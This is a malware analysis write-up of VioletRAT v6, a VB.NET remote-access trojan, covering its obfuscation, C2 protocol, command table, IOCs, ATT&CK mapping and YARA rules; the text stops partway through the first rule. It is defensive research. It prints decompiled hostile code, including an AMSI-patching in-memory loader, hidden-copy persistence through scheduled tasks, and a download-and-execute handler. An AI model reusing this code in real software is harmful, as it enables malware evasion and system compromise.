VioletRAT v6: A WinRAR-Spoofed VB.NET RAT With a 110-Command C2
Static teardown of VioletRAT v6 (VioletWorm), a VB.NET commodity RAT misclassified as AsyncRAT. Recovers the Base64+XOR string layer, the AES-128-ECB C2 protocol, embedded C2 195.63.145[.]169:7000, the ~110-command dispatcher, and an in-memory AMSI bypass. Ships an offline decoder, a capture-only C2 client, and four YARA rules.
Downloads: all artifacts for this post are mirrored at taogoldi/analysis_data/violetrat_june_2026. The YARA rules are also available at taogoldi/YARA/rats/violetrat. A full download index is at /downloads/violetrat/.
A sample landed in the triage queue this week that the in-house classifier tagged as AsyncRAT. It is not AsyncRAT. AsyncRAT is C#; this binary is VB.NET, it spoofs WinRAR in its version resource, and it carries its own name in plaintext once you peel one layer of obfuscation: Violet v6. This is VioletRAT (also tracked as VioletWorm), a commodity remote-access toolkit sold on hacking forums. Public analysis I found during this review focused on VioletWorm/VioletRAT v4.7. This sample self-identifies as Violet v6; its compile timestamp (2026-06-20) and recent submission provenance make it appear to be a live, recent build rather than an old recycled artifact. This post walks the obfuscation, recovers the embedded C2 and the full 110-entry command table, and ships YARA coverage that survives the per-build renamer.
Key Findings
- The classifier label
asyncratis incorrect. The binary is VB.NET; AsyncRAT is C#. The sample self-identifies asViolet v6through its own obfuscation layer. - String layer: Base64 + XOR with key
TFiIJrP. Recoverable offline without executing the sample. - Packet layer: AES-128-ECB keyed by
MD5(password), default passwordXSXSXSX, default key679bcea2b6c93957139ca6893dbd7ece. - Embedded C2:
195.63.145.169:7000(raw TCP; reachable during the live probe, then unreachable in a follow-up check roughly 12 minutes later). - The dispatcher exposes approximately 110 command branches spanning remote shell, file manager, keylogger, clipper, DDoS flood, ransomware, HVNC, worm, and ngrok.
- Heavy capability modules appear to be operator-pushed .NET assemblies loaded at runtime after an in-memory AMSI bypass; the stub contains handlers for these capabilities, but the plugin payloads themselves were not captured.
- Best static detection anchors:
<Violet>field separator, theCilppertypo, WinRAR version-resource spoof, mutexvzOrETV8nZcIYnJA,WindowsDefenderRun key value,amsi.dllandAmsiScanBufferin cleartext adjacent toVirtualProtect. The YARA section includes four rules tested against the reference sample.
Sample Properties
| Property | Value |
|---|---|
| SHA256 | 2bf04b9a583e6f1efa661a43d357bc8ea143bcb53fa87f81081347ee2feb80eb |
| MD5 | 486063249f6b355cf0a50e7c2eb76445 |
| Size | 70,656 bytes |
| Type | PE32 executable (GUI), .NET assembly, VB.NET |
| ImpHash | f34d5f2d4577ed6d9ceec516c1f5a744 (single managed import) |
| Compile timestamp | 2026-06-20 23:43:03 UTC |
| Version (spoofed) | WinRAR 7.22.0.0, CompanyName “Alexander Roshal” |
| Internal name | antimalwaver.exe |
| Exports | none |
The compile timestamp is recent. Compile timestamps can be tampered with, but the submission provenance and the version self-stamp together corroborate this as a recent build rather than a recycled artifact.
Getting the Sample
The sample was pulled from the threat-intel platform’s last-24h queue, where it sat at the top of the capa risk ranking (score 100, needs_investigation=true). The in-house pe_sentinel classifier predicted backdoor / asyncrat / CRITICAL. That asyncrat label was the starting hypothesis, not the verdict, and it turned out to be wrong (see Observations).
The MalwareBazaar submission for this hash (uploader Bitsight, file name file) is tagged dropped-by-Amadey, and public loader-tracking feeds place its distribution behind an Amadey loader, delivered as DsL2jed.exe from hxxp://62.60.226[.]140/files/7726345600/DsL2jed.exe. Amadey is a downloader / loader that commonly fans out second-stage payloads; this VioletRAT v6 is one such payload. That distribution chain is external to the binary and cannot be confirmed from the file alone, so it is recorded as observed provenance rather than a static finding. Triage (Hatching) had two reports for the same MVID lineage (260620-31ea5sbt5w, 260621-aa84lsav2j) tagged only with generic execution / persistence behavior and no family config extracted, which is itself a tell that the static config extractor did not recognize the layout.
Family validation was therefore done from the binary outward rather than from a single classifier:
- The decompiled assembly contains the literals
Violet v6and<Violet>after one deobfuscation pass (builder self-stamp). - The binary is VB.NET with
Microsoft.VisualBasicas a first-class dependency, matching the documented VioletRAT/VioletWorm profile and ruling out AsyncRAT/DcRAT/VenomRAT/Quasar (all C#). - The capability fingerprint (crypto clipper, online/offline keylogger, HVNC, ransomware verbs, ngrok tunnel, plugin loader) matches the public VioletRAT description.
Three independent lines converge on VioletRAT v6. The asyncrat machine label is best treated as a generic .NET-RAT guess, and the VB.NET implementation plus the Violet self-stamp argue strongly against carrying that label forward.
Scope and Non-Claims
- This post does not claim the sample is AsyncRAT; that was only the initial automated classifier label, which the analysis disproves.
- The sample is identified as VioletRAT v6 on the strength of three independent signals (self-stamp, language, capability fingerprint), not on a single tool verdict.
- Plugin payloads were not captured. No browser or wallet target list is claimed from this stub.
- Distribution via Amadey is treated as observed provenance, not a static property of the binary.
- The live C2 probe was capture-only. The script did not execute any received command, start a process, or load a received assembly.
First-Pass Static Analysis
pefile shows a small, clean managed PE. Three sections, the only import is mscoree.dll!_CorExeMain, and entropy is low (no PE-level packer):
| Section | VirtSize | RawSize | Entropy |
|---|---|---|---|
| .text | 67,604 | 68,096 | 5.560 |
| .rsrc | 1,470 | 1,536 | 4.148 |
| .reloc | 12 | 512 | 0.102 |
The version resource is a WinRAR masquerade: CompanyName Alexander Roshal, ProductName WinRAR, FileVersion 7.22.0.0, copyright 1993-2026. The internal and original filename, however, is antimalwaver.exe, and the on-disk drop name is svchost.exe. The low .text entropy is misleading: there is no packer, but most configuration and command strings are obfuscated in the #US heap.
The assembly is renamer-obfuscated. Namespaces and identifiers are random (BrYLzJkGKK6nVUka2DGz, jScdOHxfiZi2eeL3WWBA, and so on). Many public and upstream AsyncRAT samples are not heavily renamed, so the obfuscation was an early hint that this was a builder-produced fork rather than the upstream project.
Obfuscation and Configuration
VioletRAT v6 uses two distinct crypto layers. Document them separately; conflating them is the easiest way to mis-state the C2 protocol.
Layer 1: config and UI strings (Base64 + XOR)
Static strings are stored as Base64, decoded at runtime by method UWiacKqtEeAk8xm0l9y6:
- Base64-decode the literal.
- XOR each byte against the repeating key
TFiIJrP(7 bytes). - Interpret as UTF-8.
The inverse (tqVnbzObEtjrCHvgxWR8, XOR then Base64) is reused in the command dispatcher, which matters below.
The decompiled routine, with the obfuscated names renamed, is short enough to read directly (the XOR key TFiIJrP is itself stored Base64-encoded as VEZpSUpyUA==):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// UWiacKqtEeAk8xm0l9y6 -> DecodeString
public static string DecodeString(string encryptedText)
{
string key = Encoding.UTF8.GetString(Convert.FromBase64String("VEZpSUpyUA==")); // "TFiIJrP"
List<char> outChars = new List<char>();
int k = 0;
byte[] data = Convert.FromBase64String(encryptedText);
foreach (byte b in data)
{
outChars.Add((char)(byte)(b ^ (byte)key[k]));
k = (k + 1) % key.Length;
}
return new string(outChars.ToArray());
}
The embedded config decodes cleanly:
| Field | Decoded value |
|---|---|
| C2 host | 195.63.145.169 |
| C2 port | 7000 |
| Field separator / tag | <Violet> |
| Default AES password | XSXSXSX |
| Mutex | vzOrETV8nZcIYnJA |
| Install folder | %AppData%\Microsoft\Windows |
| Drop name | svchost.exe |
| Run key value | WindowsDefender |
| Service/mutex label | WindowsAntimalware |
The same layer also hides a six-entry modern User-Agent pool (Chrome 117, Firefox 63, iPhone/iPad Safari, Linux Chrome) used by the HTTP flood module, separate from a large legacy Internet-Explorer/AOL User-Agent table that is also present in the binary.
Layer 2: C2 packet body (AES-128-ECB)
The network body is encrypted with RijndaelManaged in ECB mode. The key is MD5(password), where the password defaults to XSXSXSX before the handshake and may be overwritten by field [3] of the C2 handshake response; builds that never rotate the key remain decryptable with the default. Default key:
1
MD5("XSXSXSX") = 679bcea2b6c93957139ca6893dbd7ece
The encrypt and decrypt routines are a matched pair; only the transform direction differs:
1
2
3
4
5
6
7
8
9
10
// k6AyXbKjInTH77jWVqnj / 8lNwHV9kOKgtx8sfGK22 -> AesEcbEncrypt / AesEcbDecrypt
public static byte[] AesEcbDecrypt(byte[] input)
{
var aes = new RijndaelManaged();
var md5 = new MD5CryptoServiceProvider();
aes.Key = md5.ComputeHash(Encoding.UTF8.GetBytes(AES_Password)); // default "XSXSXSX"
aes.Mode = CipherMode.ECB; // no IV, no salt
ICryptoTransform t = aes.CreateDecryptor();
return t.TransformFinalBlock(input, 0, input.Length);
}
Frames are length-prefixed. SendFrame (nTOANE0YWmFXvClHoXuS) writes an ASCII decimal length plus a 0x00 byte as a header, then the AES ciphertext of the UTF-8 payload:
1
2
3
4
5
6
// nTOANE0YWmFXvClHoXuS -> SendFrame
byte[] body = AesEcbEncrypt(Encoding.UTF8.GetBytes(msg));
byte[] header = Encoding.UTF8.GetBytes(body.Length.ToString() + "\0");
stream.Write(header, 0, header.Length);
stream.Write(body, 0, body.Length);
socket.BeginSend(stream.ToArray(), ...);
On receive, the dispatcher AES-decrypts, splits the plaintext on the <Violet> separator into a field array, and treats field [0] as the command.
The command dispatcher (110 branches)
The dispatcher does not compare the received command to plaintext. It runs the received command word back through the Layer-1 encoder (tqVnbzObEtjrCHvgxWR8, XOR + Base64) and compares the result to approximately 110 hard-coded encoded command constants. In other words, the malware does not store command names in cleartext anywhere in the binary; it stores the encoded form of each command, then encodes the inbound command before comparing. For example, the encoded constant Rnk4Rk9Ub1hJZz09 decodes back to the misspelled command Cilpper.
1
2
3
4
5
6
7
8
9
10
11
12
// hHi74FtsuJoo3fm6XL02 -> DispatchCommand
public static void DispatchCommand(byte[] b)
{
// AES-decrypt, UTF-8 decode, split on the "<Violet>" separator
string[] fields = Strings.Split(Utf8(AesEcbDecrypt(b)), Separator); // Separator = "<Violet>"
string cmd = EncodeString(fields[0]); // XOR + Base64 of the command word
if (cmd == "JiMK") { Uninstall(); Application.Restart(); } // decodes to "rec"
if (cmd == "RndvbUdnOD0=") { socket.Shutdown(); Environment.Exit(0);} // "CLOSE"
if (cmd == "SVNnQUp6a0dNVGdx") { LoadPlugin(fields[1]); } // "uninstall"
// ... ~110 branches total ...
}
So the encoded command constants are Base64(XOR("TFiIJrP", command)). To recover a command name, take the constant, Base64-decode it, and XOR with TFiIJrP. Doing that across the dispatcher yields the full v6 command set. A representative selection:
| Code | Action |
|---|---|
getinfo, botinfo, bot, admin | victim enumeration / tasking |
runcmnd, shellfuc, closeshell, openhide | remote shell |
FM, FFM, FLA, MFrm, WL, DelP | file manager |
KL, closeKL, KLget, KLGET | keylogger (online and offline) |
Cilpper | crypto clipboard hijack (note the builder’s typo) |
DDosS, DDosT | HTTP POST flood start / stop |
HVNC, HvNcX, hvncxdis, vhvncs, hdp, hdpf | hidden desktop / VNC |
VCAM, MICL, syssound, VMap | webcam, mic, audio, screen |
RENC, RDEC | ransomware encrypt / decrypt |
DBGrabber, AESGrabber, CookieST, coki, GrabberDC, Email | browser DB / Chrome AES-key / cookie / Discord / email grabbers (plugin) |
FakeLoginSt | fake-login phishing overlay |
WDKillerNew, WDPL, askuac, AntiiReset | Defender kill, UAC prompt, anti-reset |
BSOD, blkscr, stpblk, JustFun | prankware / coercion |
wormer, ngrok, InstallN, NETINS, NetDisCV | USB worm, ngrok tunnel, install, network discovery |
update, uninstall, rec, CLOSE | lifecycle |
The full decoded list (110 entries) is in reports/json/decoded_strings.json.
Plugin model
Several heavyweight verbs (the grabbers, HVNC, ransomware) are thin handlers. The stub receives a Base64-encoded .NET assembly over the C2 channel and runs it in memory. Critically, it patches AMSI first, so the plugin is never scanned:
1
2
3
4
5
6
7
8
9
10
11
// KuKJwd9HfSswZB0E0mhI -> AmsiBypassAndLoadPlugin
IntPtr p = GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer");
if (p != IntPtr.Zero) {
uint old = 0;
VirtualProtect(p, 6, 0x40 /* PAGE_EXECUTE_READWRITE */, ref old);
Marshal.Copy(new byte[6] { 0xC3, 0x90, 0x90, 0x90, 0x90, 0x90 }, 0, p, 6); // ret; nop x5
}
byte[] rawAssembly = Convert.FromBase64String(base64Exe);
Assembly asm = Assembly.Load(rawAssembly);
asm.EntryPoint.Invoke(null, asm.EntryPoint.GetParameters().Length == 1
? new object[] { new string[0] } : new object[0]);
The patch overwrites the first six bytes of AmsiScanBuffer with 0xC3 (ret) and five 0x90 (nop), so the function returns immediately and never reports AMSI_RESULT_DETECTED. The AMSI-related strings amsi.dll and AmsiScanBuffer are not obfuscated; they sit in the #US heap as UTF-16LE alongside a VirtualProtect P/Invoke, which together are a strong static indicator. (See the VioletRAT_v6_amsi_bypass YARA rule.)
The on-disk stub is the dispatcher and a set of built-in modules; the browser/wallet/Discord theft code is delivered as AMSI-shielded plugin assemblies at runtime and is not resident in this sample.
Bot ID / HWID
The victim identifier is an MD5 over a handful of environment values, hex-encoded:
1
2
3
4
// E5zfOsATPINwvaqpGLkG -> GenerateHwid
string raw = ProcessorCount.ToString() + UserName + MachineName
+ OSVersion.ToString() + new DriveInfo(systemRoot).TotalSize.ToString();
string hwid = Md5Hex(raw); // falls back to the string "Err HWID" on exception
This is a weak fingerprint: it is stable per machine but trivial to predict and collides across cloned VMs with the same username and disk size, which is convenient for sandbox correlation.
Re-implementing the decoder (offline emulation)
Because the string layer is a pure function of two static constants (the XOR key and the Base64 alphabet), it can be re-implemented and run offline against the embedded config blobs without ever executing the sample. The C2 globals (F1WT57aaWA9fgxMDLXH2, HEiU7Zw9prHNVbm9C1Kc) are themselves Base64 of the Layer-1 blob, so the recovery is a double Base64 plus the XOR:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64, hashlib
XOR_KEY = b"TFiIJrP"
def decode_string(b64): # ports UWiacKqtEeAk8xm0l9y6
raw = base64.b64decode(b64)
return bytes(c ^ XOR_KEY[i % len(XOR_KEY)]
for i, c in enumerate(raw)).decode("utf-8", "replace")
# embedded config globals (global = Base64 of the layer-1 blob string)
for name, blob in [("C2 host", "Wlg5Y1ozeEJmbVZ5WEdkN1JHaz0="),
("C2 port", "WTNaWmVRPT0=")]:
inner = base64.b64decode(blob).decode() # -> the layer-1 blob
print(name, "=", decode_string(inner))
print("AES key =", hashlib.md5(b"XSXSXSX").hexdigest())
Output, matching the values the running stub would compute:
1
2
3
C2 host = 195.63.145.169
C2 port = 7000
AES key = 679bcea2b6c93957139ca6893dbd7ece
The same routine, applied to the approximately 110 encoded command constants, recovers the entire command table. The full implementation is in scripts/decoder.py and the decoded output in reports/json/decoded_strings.json.
Execution and Persistence
The startup path is plain VB.NET once the strings are decoded. The routines below are the decompiled methods with the obfuscated identifiers renamed; the logic and API calls are unchanged.
A single-instance guard keys off the static mutex vzOrETV8nZcIYnJA:
1
2
3
4
5
6
// 0aMliNqxujqXNQBUxmJc -> AcquireSingleInstance
public static bool AcquireSingleInstance()
{
SingleInstanceMutex = new Mutex(initiallyOwned: false, MutexName, out bool createdNew);
return createdNew; // MutexName = "vzOrETV8nZcIYnJA"
}
There are two persistence mechanisms, and the sample installs both. The first is a registry Run key that points at a hidden copy in %AppData%:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 2dufu09LZYsFnE3USkNd -> InstallRunKeyPersistence
string runKey = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
string runValue = "WindowsDefender";
string subDir = "Microsoft\\Windows";
string dropName = "svchost.exe";
string dir = Path.Combine(GetFolderPath(SpecialFolder.ApplicationData), subDir); // %AppData%\Microsoft\Windows
string dst = Path.Combine(dir, dropName); // ...\svchost.exe
Directory.CreateDirectory(dir);
if (!File.Exists(dst) || !SameHash(SelfModulePath, dst)) {
File.Copy(SelfModulePath, dst, overwrite: true);
File.SetAttributes(dst, FileAttributes.Hidden | FileAttributes.System);
}
using RegistryKey rk = Registry.CurrentUser.OpenSubKey(runKey, writable: true);
rk?.SetValue(runValue, dst, RegistryValueKind.String); // HKCU\...\Run "WindowsDefender" = dst
The second copies the binary into five directories and registers one scheduled task per copy. The task names are not fixed: the builder ships a pool of 20 plausible “updater” names and shuffles them with a Random seeded by the host fingerprint, so the chosen names are deterministic per machine but vary across victims. Each task runs every minute:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// install routine -> InstallScheduledTasks
string[] dirs = { Environ("temp"), Environ("appdata"), Environ("localappdata"),
GetFolderPath(SpecialFolder.CommonApplicationData), Environ("windir") + "\\Temp" };
string[] decoys = { "EdgeUpdate","GoogleUpdate","OneDriveSync","AdobeUpdate","CCleanerUpdate",
"DropboxUpdate","NvUpdate","AMDUpdate","iTunesUpdate","ZoomUpdate","DiscordUpdate",
"TeamViewerUpdate","LogiUpdate","SamsungUpdate","SpotifyUpdate","SteamUpdate",
"SkypeUpdate","SlackUpdate","WhatsAppUpdate","VLCUpdate" };
var rng = new Random(Math.Abs(GenerateHwid().GetHashCode())); // host-seeded
FisherYatesShuffle(decoys, rng);
for (int j = 0; j < dirs.Length; j++) {
string dst = dirs[j] + "\\" + Path.GetFileName(SelfModulePath);
File.Copy(SelfModulePath, dst, overwrite: true);
File.SetAttributes(dst, FileAttributes.Hidden | FileAttributes.System);
Process.Start(new ProcessStartInfo("schtasks.exe") {
WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, UseShellExecute = false,
Arguments = "/create /f /sc minute /mo 1 /tn \"" + decoys[j] + "\" /tr \"" + dst + "\""
}).WaitForExit();
}
So a clean box ends up with a hidden %AppData%\Microsoft\Windows\svchost.exe plus up to five more hidden copies, a WindowsDefender Run value, and five minute-interval scheduled tasks masquerading as software updaters.
Secondary Payloads and Downloads
A natural follow-up is what this RAT pulls down next. For this build, nothing is fetched from a hard-coded address: there is no embedded second-stage URL anywhere in the binary. Secondary code arrives only at the operator’s direction, by two paths.
In-band plugins. The grabbers, HVNC, and ransomware verbs are delivered as .NET assemblies pushed over the encrypted C2 channel; the technical loader is described in the Plugin Model section above. Because plugins arrive in-band rather than from a separate URL, they cannot be fetched or enumerated statically. What the operator actually pushes depends entirely on the active campaign.
Operator-directed download-and-execute. One dispatcher branch (GAg=) runs a classic drop-and-run where both the filename and the URL come from the C2 message:
1
2
3
4
// dispatcher branch "GAg=" -> DownloadAndExecute
string fileName = Path.GetTempFileName() + "-" + fields[1];
new WebClient().DownloadFile(fields[2], fileName); // fields[2] = operator-supplied URL
Process.Start(fileName);
Upstream, this sample is itself the secondary payload: it is the file the Amadey loader drops as DsL2jed.exe. The chain we can document statically is therefore Amadey to this VioletRAT v6; the next hop (a plugin or a tasked download) is decided live by whoever operates 195.63.145.169:7000. We did attempt to capture one by emulating a bot against the live C2; that attempt and its outcome are in the “Live C2 Probe” section below.
Kill Chain
antimalwaver.exelaunches, presenting WinRAR 7.22 version metadata.- Single-instance guard via the mutex
vzOrETV8nZcIYnJA; it also checks for a sibling process namedWinSc32. - Copies itself to
%AppData%\Microsoft\Windows\svchost.exe(hidden + system), and into five more directories (%temp%,%appdata%,%localappdata%, ProgramData,%windir%\Temp). - Establishes two persistence mechanisms: a
Runkey value namedWindowsDefenderpointing at thesvchost.execopy, plus five minute-interval scheduled tasks named from a host-seeded shuffle of “updater” decoys (EdgeUpdate,GoogleUpdate,OneDriveSync, and so on). - Decodes the embedded config (Base64 + XOR) to recover
195.63.145.169:7000. - Opens a raw TCP socket to the C2 and exchanges length-prefixed frames.
- Handshake fields are split on
<Violet>; the C2 may supply a new AES password (defaultXSXSXSX) that keys the rest of the session. - Enters the command loop. Each frame body is AES-128-ECB keyed by
MD5(password); 110 command branches drive built-in modules and the plugin loader.
Live C2 Probe
To test the reconstructed protocol and try to capture an operator-pushed plugin, a capture-only client (scripts/c2_capture.py) was pointed at 195.63.145.169:7000 through a VPN egress in Canada. The client emulates a freshly-infected bot only as far as registration: it implements the length-prefixed framing, AES-128-ECB with MD5("XSXSXSX"), and the INFO<Violet>... registration layout, then logs and stores every received frame. By design it never executes a received command, starts a process, or loads a pushed assembly; received bytes are treated as inert and only saved.
The result, on two attempts (placeholder fields, then realistic fields):
- The TCP connection to
:7000succeeded both times, so the C2 was online. - The server did not immediately drop the connection after receiving the registration frame, then reset the connection shortly after.
- No tasking and no plugin were delivered.
Two observations follow. First, the consistent behavior across both attempts – framing accepted, then reset – suggests the registration frame was at least syntactically acceptable to the service. Because no tasking was returned and the server reset the connection promptly, this should be treated as protocol validation evidence rather than proof of successful bot enrollment. Second, the reset occurring immediately after a registration from a known hosting-ASN egress may reflect source-IP filtering at the C2, but other explanations are equally possible: panel-side bot gating, missing required fields, operator policy, or transient infrastructure behavior. Changing the VPN exit country would not change the ASN classification for a commodity-VPN exit.
About twelve minutes later, a follow-up reachability check found the C2 host completely dark: ports 7000, 80, and 443 all timed out and ICMP showed 100 percent loss on every egress tried. The whole VPS, not just the RAT port, had gone offline between the two checks. That short lifetime is consistent with the wider picture: a recent build, single-IP infrastructure with no fallback, and a host cycled or pulled within hours. For defenders, blocking the single C2 IP is effective but time-limited; the IP may disappear or rotate quickly, as this probe demonstrated. The binary-derived markers (mutex, <Violet> framing, version spoof, AMSI patch strings) outlast the infrastructure and are the more durable detection anchors. The secondary payloads described above remain operator-tasked and were not captured; they are documented from the binary, not from live tasking.
Anti-Analysis Notes
- WinRAR version-resource spoof to blend with a trusted installer name on disk and in process lists.
- Drop name
svchost.exeand Run valueWindowsDefenderto look legitimate in casual triage. - Per-build renamer obfuscation, so identifier-based signatures will not survive across builds.
- Configuration and most command/UI strings are Base64 + XOR-encoded in the #US heap, defeating naive
stringstriage. The AMSI-related stringsamsi.dllandAmsiScanBufferare a notable exception – they sit in cleartext alongside aVirtualProtectP/Invoke. - WMI query
Select * from AntivirusProductagainst\root\SecurityCenter2to enumerate installed AV, and a dedicated Defender-killer command (WDKillerNew). - In-memory AMSI bypass before every plugin load:
AmsiScanBufferis patched with0xC3 0x90 0x90 0x90 0x90 0x90(ret+ 5nop) viaVirtualProtect, so C2-pushed assemblies are loaded without being scanned. - No VM or sandbox checks were found in the stub; evasion is delegated to operator-pushed plugins.
Observations & Attribution Notes
- The machine classifier’s
asyncratlabel is a generic .NET-RAT guess. The binary is VB.NET and self-identifies as Violet, so the label was rejected per the validation rule rather than carried into the write-up. Independent public trackers reach the same VioletRAT verdict (one tags the sampleviolet/rat/amsi-bypassdirectly), so the in-house mislabel is the outlier, not the call made here. - Distribution is via the Amadey loader (dropper
DsL2jed.exe,62.60.226[.]140). Amadey-into-commodity-RAT is a common pay-per-install pattern, consistent with a newly stood-up VioletRAT panel being seeded through an established Amadey distribution network. Violet v6is newer than the publicly analyzed v4.7. The command surface here (110 branches) is consistent with the “around 120 commands” described for VioletWorm, suggesting steady feature accretion across versions rather than a rewrite.- The C2
195.63.145.169:7000had no public reputation hits at analysis time, consistent with newly stood-up infrastructure. - The
Cilppermisspelling is a stable builder artifact and is useful as a low-effort hunting string in decoded traffic and memory.
Code Weaknesses
- AES in ECB mode: identical plaintext blocks produce identical ciphertext blocks, so repeated command structure is visible on the wire even without the key.
- The session key is
MD5(password)with a known default passwordXSXSXSX; builds that never rotate the password are trivially decryptable (679bcea2b6c93957139ca6893dbd7ece). - A single hard-coded C2 with no fallback list; sinkhole or block
195.63.145.169:7000and the bot is mute. - The string-layer XOR key
TFiIJrPis static and embedded, so all config and encoded command constants are recoverable offline. - The AMSI bypass uses a fixed 6-byte patch (
C3 90 90 90 90 90) and leaves the stringsamsi.dllandAmsiScanBufferin cleartext next to aVirtualProtectimport, a high-signal static and behavioral tell. - The
<Violet>field separator doubles as a family tag and appears in every decoded frame, a reliable network and memory marker. - WinRAR version spoof paired with internal name
antimalwaver.exeis internally inconsistent and stands out under version-info inspection. - Mutex
vzOrETV8nZcIYnJAis constant in this build and supports host-based one-shot detection. - Run key value
WindowsDefenderpointing at%AppData%\...\svchost.exeis a high-signal autoruns anomaly. - Builder typo
Cilpperis a durable string fingerprint.
IOC Appendix
Network
- C2:
195.63.145[.]169:7000(raw TCP, AES-ECB body,<Violet>-delimited frames) - Frame marker: ASCII length +
0x00header followed by AES ciphertext - HTTP flood User-Agent pool: Chrome 117, Firefox 63, iPhone/iPad Safari, Linux Chrome (see
reports/json/decoded_strings.json) - Distribution (Amadey loader, observed provenance):
hxxp://62.60.226[.]140/files/7726345600/DsL2jed.exe
File / Registry
- Primary drop:
%AppData%\Microsoft\Windows\svchost.exe(Hidden + System) - Additional copies:
%temp%,%appdata%,%localappdata%,%ProgramData%,%windir%\Temp(each Hidden + System, original filename) - Run key:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunvalueWindowsDefender - Scheduled tasks:
schtasks /create /f /sc minute /mo 1 /tn "<name>" /tr "<copy>", five tasks;<name>from the decoy pool: EdgeUpdate, GoogleUpdate, OneDriveSync, AdobeUpdate, CCleanerUpdate, DropboxUpdate, NvUpdate, AMDUpdate, iTunesUpdate, ZoomUpdate, DiscordUpdate, TeamViewerUpdate, LogiUpdate, SamsungUpdate, SpotifyUpdate, SteamUpdate, SkypeUpdate, SlackUpdate, WhatsAppUpdate, VLCUpdate - Mutex:
vzOrETV8nZcIYnJA - Sibling-process check:
WinSc32 - Version spoof: WinRAR 7.22.0.0 / Alexander Roshal, internal name
antimalwaver.exe
Hashes
- SHA256:
2bf04b9a583e6f1efa661a43d357bc8ea143bcb53fa87f81081347ee2feb80eb - MD5:
486063249f6b355cf0a50e7c2eb76445 - ImpHash:
f34d5f2d4577ed6d9ceec516c1f5a744
Detection Pivots
The C2 IP is short-lived; hunt on the more durable indicators below:
- Registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunvalueWindowsDefenderpointing into%AppData%. - Scheduled tasks: tasks configured with
/sc minute /mo 1running executables from user-writable locations (%appdata%,%temp%,%localappdata%,%ProgramData%,%windir%\Temp). - Process memory / behavioral: .NET processes that call
VirtualProtecton anamsi.dllexport followed byAssembly.Loadwithin the same thread. - Version-info anomaly: PE files reporting WinRAR / Alexander Roshal company metadata but with an internal name other than
WinRAR.exeorWinRAR64.exe. - Memory / string hunt:
<Violet>,Violet v6,XSXSXSX,TFiIJrP,Cilpper,vzOrETV8nZcIYnJA. - Network: raw TCP sessions to
195.63.145[.]169:7000; note the IP is short-lived. An ECB-block-repetition heuristic on raw TCP flows can surface the AES-ECB pattern independently of the specific endpoint.
MITRE ATT&CK Mapping
The mapping below is limited to behavior observed in the stub or directly represented by command handlers; entries that depend on a plugin payload not resident in the analyzed file are marked “(plugin)” in the evidence column.
| Tactic | Technique | ID | Evidence |
|---|---|---|---|
| Defense Evasion | Masquerading: Match Legitimate Name | T1036.005 | WinRAR version spoof, drop name svchost.exe |
| Defense Evasion | Obfuscated Files or Information | T1027 | Base64 + XOR strings, AES-ECB packets, renamer |
| Persistence | Registry Run Key | T1547.001 | Run value WindowsDefender |
| Execution / Persistence | Scheduled Task | T1053.005 | schtasks /sc minute /mo 1 |
| Execution | Command and Scripting Interpreter | T1059 | runcmnd / shellfuc remote shell |
| Execution | Reflective Code Loading | T1620 | Assembly.Load + EntryPoint.Invoke plugin loader |
| Defense Evasion | Disable or Modify Tools | T1562.001 | WDKillerNew Defender kill, AV WMI enumeration |
| Defense Evasion | Disable or Modify Tools: AMSI | T1562.001 | AmsiScanBuffer patched ret;nop via VirtualProtect before plugin load |
| Privilege Escalation | Bypass User Account Control | T1548.002 | askuac UAC prompt command |
| Collection | Input Capture: Keylogging | T1056.001 | KL / KLget online and offline keylogger |
| Collection | Video / Audio Capture | T1125 / T1123 | VCAM, MICL, syssound |
| Credential Access | Credentials from Browsers (plugin) | T1555.003 | DBGrabber, AESGrabber, CookieST |
| Collection | Clipboard Data | T1115 | Cilpper crypto clipboard hijack |
| Impact | Data Encrypted for Impact | T1486 | RENC / RDEC ransomware verbs |
| Impact | Network Denial of Service | T1498 | DDosS / DDosT HTTP POST flood |
| Lateral Movement | Replication Through Removable Media | T1091 | wormer USB spread, %usb% token |
| Command and Control | Protocol Tunneling | T1572 | ngrok tunnel command |
| Command and Control | Encrypted Channel: Symmetric | T1573.001 | AES-128-ECB session body |
YARA Rules
| Rule | Signal | Fidelity |
|---|---|---|
VioletRAT_v6_strings | <Violet> / Violet v6 / XSXSXSX / TFiIJrP Base64 markers (UTF-16LE) + VB.NET | High |
VioletRAT_v6_winrar_masquerade | WinRAR version spoof + internal name antimalwaver.exe + Violet tag | High (this build style) |
VioletRAT_v6_command_protocol | Plaintext %command% tokens + WMI AV-enumeration Base64 | Medium-High |
VioletRAT_v6_amsi_bypass | amsi.dll / AmsiScanBuffer + VirtualProtect + Violet tag | Medium-High |
All four rules match the reference sample. The markers are matched with the wide modifier because .NET user strings live in the #US heap as UTF-16LE.
Fidelity notes:
VioletRAT_v6_stringsis the strongest family-level rule; it keys on the Base64-encoded family markers plus the VB.NET runtime dependency, making collisions with unrelated .NET malware unlikely.VioletRAT_v6_winrar_masqueradeis high fidelity for this build style but will miss VioletRAT v6 builds that do not use the WinRAR version-resource spoof.VioletRAT_v6_amsi_bypasswill match other .NET malware that uses the sameAmsiScanBufferret-patch pattern. The$violetanchor (theViolet v6Base64 marker) is what ties it specifically to this family. For broader hunting, the condition can be relaxed to drop$violetat the cost of more noise.VioletRAT_v6_command_protocoltargets the Base64-encoded%command%protocol tokens and the WMI AV-enumeration query; it may need tuning if the token format changes in a future builder version.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import "pe"
rule VioletRAT_v6_strings
{
meta:
description = "VioletRAT v6 (VioletWorm) VB.NET stub - obfuscated string layer and family markers"
author = "taogoldi"
version = 1
date = "2026-06-25"
hash = "2bf04b9a583e6f1efa661a43d357bc8ea143bcb53fa87f81081347ee2feb80eb"
tlp = "TLP:CLEAR"
family = "VioletRAT"
strings:
$violet_tag = "PFZpb2xldD4=" wide // "<Violet>"
